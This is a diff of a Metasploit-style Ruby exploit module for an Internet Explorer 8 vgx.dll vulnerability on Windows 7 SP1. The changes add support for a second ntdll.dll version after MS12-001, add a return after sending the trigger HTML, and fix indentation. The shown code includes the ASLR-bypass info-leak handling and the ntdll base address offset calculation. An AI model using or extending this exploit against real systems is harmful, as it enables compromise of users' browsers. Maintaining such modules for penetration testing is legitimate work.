@@ -33,8 +33,8 @@ def initialize(info={})
33
33
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
34
34
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
35
35
to use an info leak to disclose the ntdll.dll base address is provided. This target
36
- requires ntdll.dll v 6 .1.7601.17514 in order to work (the default dll version on a
37
- fresh Windows 7 SP1 installation ).
36
+ requires ntdll.dll v6 .1.7601.17514 (the default dll version on a fresh Windows 7 SP1
37
+ installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001 ).
38
38
} ,
39
39
'License' => MSF_LICENSE ,
40
40
'Author' =>
@@ -415,6 +415,7 @@ def on_request_uri(cli, request)
415
415
html = html . gsub ( /^\t \t / , '' )
416
416
print_status ( "Sending HTML to trigger..." )
417
417
send_response ( cli , html , { 'Content-Type' => 'text/html' } )
418
+ return
418
419
end
419
420
420
421
vprint_status ( "ntdll leak: 0x#{ leak . to_s ( 16 ) } " )
@@ -428,9 +429,9 @@ def on_request_uri(cli, request)
428
429
@ntdll_version = "6.1.7601.17725" # MS12-001
429
430
@ntdll_base = leak - 0x47090
430
431
else
431
- print_error ( "ntdll version not detected, sending 404: #{ agent } " )
432
- send_not_found ( cli )
433
- return
432
+ print_error ( "ntdll version not detected, sending 404: #{ agent } " )
433
+ send_not_found ( cli )
434
+ return
434
435
end
435
436
436
437
html = load_exploit_html ( my_target , cli )
0 commit comments